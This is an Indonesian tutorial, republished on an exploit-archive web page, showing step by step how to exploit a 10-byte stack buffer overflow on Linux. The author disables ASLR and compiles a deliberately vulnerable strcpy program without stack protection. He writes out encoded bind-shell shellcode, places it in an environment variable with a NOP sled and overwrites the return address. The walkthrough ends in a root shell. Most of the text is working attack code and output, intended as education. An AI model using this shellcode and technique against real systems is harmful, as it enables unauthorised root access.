首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux buffer overflow tutorial II [indonesian]
来源:yudha.gunslinger@gmail.com 作者:gunslinger_ 发布时间:2010-07-05  
Linux Buffer Overflow Tutorial
Edisi : Kedua
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
*/

Penulis : gunslinger_ <yudha.gunslinger@gmail.com>
Tanggal : Mon Jun 28 21:38:14 WIT 2010

Konten :
1. Pendahuluan
2. Skenario
3. Fungsi getenv()
4. Exploitasi
5. Kesimpulan
6. Special thanks

-- Pendahuluan
Pada tutorial edisi pertama saya menjelaskan tutorial buffer overflow berbuffer 400 byte.
anda bisa melihat tutorial sebelumnya disini -> http://www.exploit-db.com/papers/14069/
sekarang saya akan menjelaskan "bagaimana cara jika buffer lebih kecil dari ukuran payload kita terutama shellcode ?"
dan saya akan menjelaskan strateginya pada tutorial ini.


-- Skenario
kita bisa lihat source aplikasi sebelumnya mirip pada source aplikasi tutorial ini.
hanya saja yang membedakan buffernya. kali ini aplikasi berbuffer 10 bytes.

sebelum melanjutkan experimen pada skenario tutorial ini, jangan lupa matikan randomisasi stack terlebih dahulu.

root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#


---------------------bof2.c--------------------------
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[10];
strcpy(buffer, argv[1]);

return 0;
}
---------------------EOF-----------------------------


save dengan nama bof2.c ,compile program tersebut .
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.

root@bt:~# gcc -g -o bof2 -fno-stack-protector -mpreferred-stack-boundary=2 bof2.c

jadi, bagaimana cara pengexploitasiannya jika buffer sekecil itu ?
kita bisa gunakan "ENVIRONMENT VARIABLE" untuk menyimpan nopsled dan shellcode .
lalu kita ulangi address NOP sampai mengoverwrite register EIP.

langkah pertama, kita perlu menaruh shellcode ke bentuk binary.
saya akan gunakan shellcode binding port 13123 pada tutorial ini,
dan anda bisa melihat shellcode tersebut di sini : http://inj3ct0r.com/exploits/12608

root@bt:~/bof# echo -ne "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x6c\x0e\xff\x35\ x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6 6\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\ x33\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\x6 8\x78\xbe\x16\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\ x9b\x02\xb5\x87\x8b\xbe\x16\xe8\x39\xe5\x9b\x02\xb 5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\ xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x7 6\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\ x97\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb 5" > shellcode3.bin
root@bt:~/bof# cat shellcode3.bin
?^1?±el?5?u???????f?ff67?3?????7hx?E?3????9??3???? f??tµv?tµv?tµdd?d?????@µroot@bt:~/bof#

selanjutnya, kita buat "ENVIRONMENT VARIABLE" berisi : 200 bytes NOPSLED + SHELLCODE

root@bt:~/bof# export PAYLOAD=$(perl -e 'print "\x90" x 200')$(cat shellcode.bin)
root@bt:~/bof# echo $PAYLOAD
?^1?±el?5?u???????f?ff67?3?????7hx?E?3????9??3???? f??tµv?tµv?tµdd?d?????@µ
root@bt:~/bof#

ok, kita baru saja selesai menaruh PAYLOAD kita di "ENVIRONMENT VARIABLE".

-- Fungsi getenv()
sekarang kita gunakan getenv() pada bahasa c.
fungsi getenv() adalah untuk mendapatkan return address variable environment (get environment variable).
jadi kita menggunakan fungsi tersebut untuk mendapatkan return address PAYLOAD kita sebelumnya pada "ENVIRONMENT VARIABLE".
dan source aplikasinya seperti berikut .

---------------------getenv.c--------------------------
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
printf("%s terletak pada address %p\n", argv[1], getenv(argv[1]));
return (0);
}
---------------------EOF-----------------------------

yah sangat simple bukan?, namun sangat berguna.

lalu compile program tersebut
root@bt:~/bof# gcc -o getenv getenv.c
root@bt:~/bof#

sekarang, kita bisa liat dimana alamat PAYLOAD kita berada.

root@bt:~/bof# ./getenv PAYLOAD
PAYLOAD terletak pada address 0xbffffe1e
root@bt:~/bof#

sudah jelas... kita mengetahui PAYLOAD terletak pada address 0xbffffe1e dengan mudah .
kemudian kita tambahkan, sebut saja 100 bytes karena kita harus menemukan alamat yang terletak dengan alamat pertengahan NOPSLED berada.

root@bt:~/bof# printf "%x\n" $((0xbffffe1e + 100))
bffffe82
root@bt:~/bof#

sudah kita dapatkan 0xbffffe1e + 100 = bffffe82 , lalu kita rubah ke bentuk little endian.
-> 82feffbf
lalu kita ubah ke bentuk shellcode
-> \x82\xfe\xff\xbf

-- Eksploitasi
sekarang saatnya kita run PAYLOAD kita pada aplikasi yang vulnerable buffer overflow tersebut .

root@bt:~/bof# ./bof2 $(perl -e 'print "\x82\xfe\xff\xbf" x 10')
Segmentation fault
root@bt:~/bof#

kita mendapatkan segmentation fault karena kita tidak menggunakan sederetan perulangan address.
lalu bagaimana ? kita bisa gunakan NOP untuk mendorong (push) address dengan cara menaikan byte per byte.

root@bt:~/bof# ./bof2 $(perl -e 'print "\x90" . "\x82\xfe\xff\xbf" x 10')
Segmentation fault
root@bt:~/bof#

masih mendapatkan segmentation fault, coba kita naikan 1 byte demi byte lagi pada address NOP...

root@bt:~/bof# ./bof2 $(perl -e 'print "\x90" x 2 . "\x82\xfe\xff\xbf" x 10')

OoOoOpsss, program bof tidak exit ? apa yang terjadi ? apa shellcode kita tereksekusi dengan baik ?
sebelumnya kita menggunakan shellcode bindport pada port 13123 ,
coba kita buka tab konsole baru dan sambungkan dengan netcat .

root@bt:~# nc localhost 13123
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
hostname
bt
echo YUMMY!
YUMMY!

kita sudah berhasil lagi dalam mengexploitasi buffer overflow .

-- Kesimpulan
kesimpulannya, bahwa seberapa kecil buffer pada aplikasi tetap memungkinkan terjadinya buffer overflow .
untuk mencegah terjadinya buffer overflow adalah dengan cara membatasi seberapa bytes input data yang dimasukan oleh user .

-- Special thanks : devilzc0de crew and jasakom crew
: www.devilzc0de.org / www.devilzc0de.com - www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id, hacker-newbie.org, tecon-crew.org and Inj3ct0r.com (Inj3ct0r Explot Database)



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux buffer overflow tutorial
·SasCam 2.7 ActiveX Head Buffer
·OpenSSH attack detection DoS P
·97 bytes Linx x86 bind shell p
·Registry OCX v1.5 ActiveX Buff
·161 bytes Drop suid shell root
·SasCam WebCam Server v2.6.5 Ac
·62 bytes setreuid(0,0) execve(
·Sun Java Web Sever 7.0 u7 Remo
·111 bytes echo 0 > /proc/sys/k
·ASX to MP3 Converter v3.1.2.1
·Safari JS JITed shellcode - ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved